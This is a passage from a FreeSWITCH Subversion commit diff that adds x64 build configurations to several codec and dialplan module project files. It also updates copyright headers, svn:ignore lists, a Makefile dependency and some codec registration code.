+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\libg722_1\src\g722_1&quot;;&quot;$(InputDir)..\..\..\..\libs\libg722_1\src\msvc&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -140,6 +208,71 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\libg722_1\src\g722_1&quot;;&quot;$(InputDir)..\..\..\..\libs\libg722_1\src\msvc&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/codecs/mod_siren/mod_siren.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/codecs/mod_siren/mod_siren.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/codecs/mod_siren/mod_siren.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,7 +17,7 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
@@ -173,7 +173,7 @@
 		switch_core_codec_add_implementation(pool,
 											 codec_interface,
 											 SWITCH_CODEC_TYPE_AUDIO,	/* enumeration defining the type of the codec */
-											 114,						/* the IANA code number */
+											 115,						/* the IANA code number */
 											 "G7221",					/* the IANA code name */
 											 "bitrate=48000",			/* default fmtp to send (can be overridden by the init function) */
 											 32000,						/* samples transferred per second */

Property changes: freeswitch/branches/seven/src/mod/codecs/mod_speex


Name: svn:ignore
   - Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
   + Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/codecs/mod_speex/Makefile (14471 => 14472)


--- freeswitch/branches/seven/src/mod/codecs/mod_speex/Makefile	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/codecs/mod_speex/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -2,11 +2,16 @@
 
 SPEEX_DIR=$(BASE)/libs/speex
 SPEEXLA=$(SPEEX_DIR)/libspeex/libspeex.la
+SPEEXDSPLA=$(SPEEX_DIR)/libspeex/libspeexdsp.la
 
 LOCAL_CFLAGS=-I$(SPEEX_DIR)/include
-LOCAL_LIBADD=$(SPEEXLA)
+LOCAL_LIBADD=$(SPEEXLA) $(SPEEXDSPLA)
 include $(BASE)/build/modmake.rules
 
 $(SPEEXLA): $(SPEEX_DIR) $(SPEEX_DIR)/.update
 	cd $(SPEEX_DIR)/libspeex && $(MAKE)
 	$(TOUCH_TARGET)
+	
+$(SPEEXDSPLA): $(SPEEX_DIR) $(SPEEX_DIR)/.update
+	cd $(SPEEX_DIR)/libspeex && $(MAKE)
+	$(TOUCH_TARGET)
\ No newline at end of file

Modified: freeswitch/branches/seven/src/mod/codecs/mod_speex/mod_speex.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/codecs/mod_speex/mod_speex.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/codecs/mod_speex/mod_speex.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -80,6 +83,72 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\speex\include&quot;;&quot;$(InputDir)..\..\..\..\libs\speex\include\speex&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories="&quot;$(InputDir)..\..\..\..\libs\speex-1.1.11.1\win32\libspeex\$(OutDir)&quot;"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -142,6 +211,72 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\speex\include&quot;;&quot;$(InputDir)..\..\..\..\libs\speex\include\speex&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories="&quot;$(InputDir)..\..\..\..\libs\speex-1.1.11.1\win32\libspeex\$(OutDir)&quot;"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/codecs/mod_speex/mod_speex.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/codecs/mod_speex/mod_speex.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/codecs/mod_speex/mod_speex.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * mod_speex.c -- Speex Codec Module

Property changes: freeswitch/branches/seven/src/mod/codecs/mod_voipcodecs


Name: svn:ignore
   - .libs
mod_voipcodecs.so
Debug
*.pdb
*.user
Release
debug
   + .libs
mod_voipcodecs.so
Debug
*.pdb
*.user
Release
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/codecs/mod_voipcodecs/mod_voipcodecs.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/codecs/mod_voipcodecs/mod_voipcodecs.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/codecs/mod_voipcodecs/mod_voipcodecs.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -79,6 +82,71 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\voipcodecs\src&quot;;&quot;$(InputDir)..\..\..\..\libs\voipcodecs\src\msvc&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -140,6 +208,71 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\voipcodecs\src&quot;;&quot;$(InputDir)..\..\..\..\libs\voipcodecs\src\msvc&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/codecs/mod_voipcodecs/mod_voipcodecs.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/codecs/mod_voipcodecs/mod_voipcodecs.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/codecs/mod_voipcodecs/mod_voipcodecs.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -23,7 +23,7 @@
  *
  * Contributor(s):
  * Brian K. West <brian@freeswitch.org>
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Michael Jerris <mike@jerris.com>
  *
  * mod_voipcodecs.c -- VoIP Codecs (G.711, G.722, G.726, GSM-FR, IMA_ADPCM, LPC10)
@@ -681,8 +681,28 @@
 											 switch_g726_decode,		/* function to decode encoded data into raw data */
 											 switch_g726_destroy);		/* deinitalize a codec handle using this implementation */
 	}
+
 	SWITCH_ADD_CODEC(codec_interface, "G.726 24k");
 	for (count = 12; count > 0; count--) {
+		switch_core_codec_add_implementation(pool,
+											 codec_interface,
+											 SWITCH_CODEC_TYPE_AUDIO,	/* enumeration defining the type of the codec */
+											 123,						/* the IANA code number */
+											 "G726-24",					/* the IANA code name */
+											 NULL,						/* default fmtp to send (can be overridden by the init function) */
+											 8000,						/* samples transferred per second */
+											 8000,						/* actual samples transferred per second */
+											 24000,						/* bits transferred per second */
+											 mpf * count,				/* number of microseconds per frame */
+											 spf * count,				/* number of samples per frame */
+											 bpf * count,				/* number of bytes per frame decompressed */
+											 ebpf * count,				/* number of bytes per frame compressed */
+											 1,							/* number of channels represented */
+											 count * 10,				/* number of frames per network packet */
+											 switch_g726_init,			/* function to initialize a codec handle using this implementation */
+											 switch_g726_encode,		/* function to encode raw data into encoded data */
+											 switch_g726_decode,		/* function to decode encoded data into raw data */
+											 switch_g726_destroy);		/* deinitalize a codec handle using this implementation */
 	}
 	/* Increase encoded bytes per frame by 10 */
 	ebpf = ebpf + 10;

Property changes: freeswitch/branches/seven/src/mod/dialplans/mod_dialplan_asterisk


Name: svn:ignore
   - mod_dialplan_asterisk.so
.libs
Makefile
Debug
*.pdb
*.user
Release
debug
   + mod_dialplan_asterisk.so
.libs
Makefile
Debug
*.pdb
*.user
Release
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/dialplans/mod_dialplan_asterisk/mod_dialplan_asterisk.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/dialplans/mod_dialplan_asterisk/mod_dialplan_asterisk.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/dialplans/mod_dialplan_asterisk/mod_dialplan_asterisk.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -78,6 +81,70 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -138,6 +205,70 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/dialplans/mod_dialplan_asterisk/mod_dialplan_asterisk.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/dialplans/mod_dialplan_asterisk/mod_dialplan_asterisk.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/dialplans/mod_dialplan_asterisk/mod_dialplan_asterisk.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  * mod_dialplan_asterisk.c -- Asterisk extensions.conf style dialplan parser.
  *

Property changes: freeswitch/branches/seven/src/mod/dialplans/mod_dialplan_directory


Name: svn:ignore
   - Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
Makefile
debug
   + Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
Makefile
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/dialplans/mod_dialplan_directory/mod_dialplan_directory.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/dialplans/mod_dialplan_directory/mod_dialplan_directory.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/dialplans/mod_dialplan_directory/mod_dialplan_directory.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -78,6 +81,70 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -138,6 +205,70 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/dialplans/mod_dialplan_directory/mod_dialplan_directory.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/dialplans/mod_dialplan_directory/mod_dialplan_directory.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/dialplans/mod_dialplan_directory/mod_dialplan_directory.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * mod_dialplan_directory.c -- Example Dialplan Module
@@ -35,7 +35,8 @@
 #include <fcntl.h>
 
 SWITCH_MODULE_LOAD_FUNCTION(mod_dialplan_directory_load);
-SWITCH_MODULE_DEFINITION(mod_dialplan_directory, mod_dialplan_directory_load, NULL, NULL);
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_dialplan_directory_shutdown);
+SWITCH_MODULE_DEFINITION(mod_dialplan_directory, mod_dialplan_directory_load, mod_dialplan_directory_shutdown, NULL);
 
 static struct {
 	char *directory_name;
@@ -142,11 +143,25 @@
 }
 
 
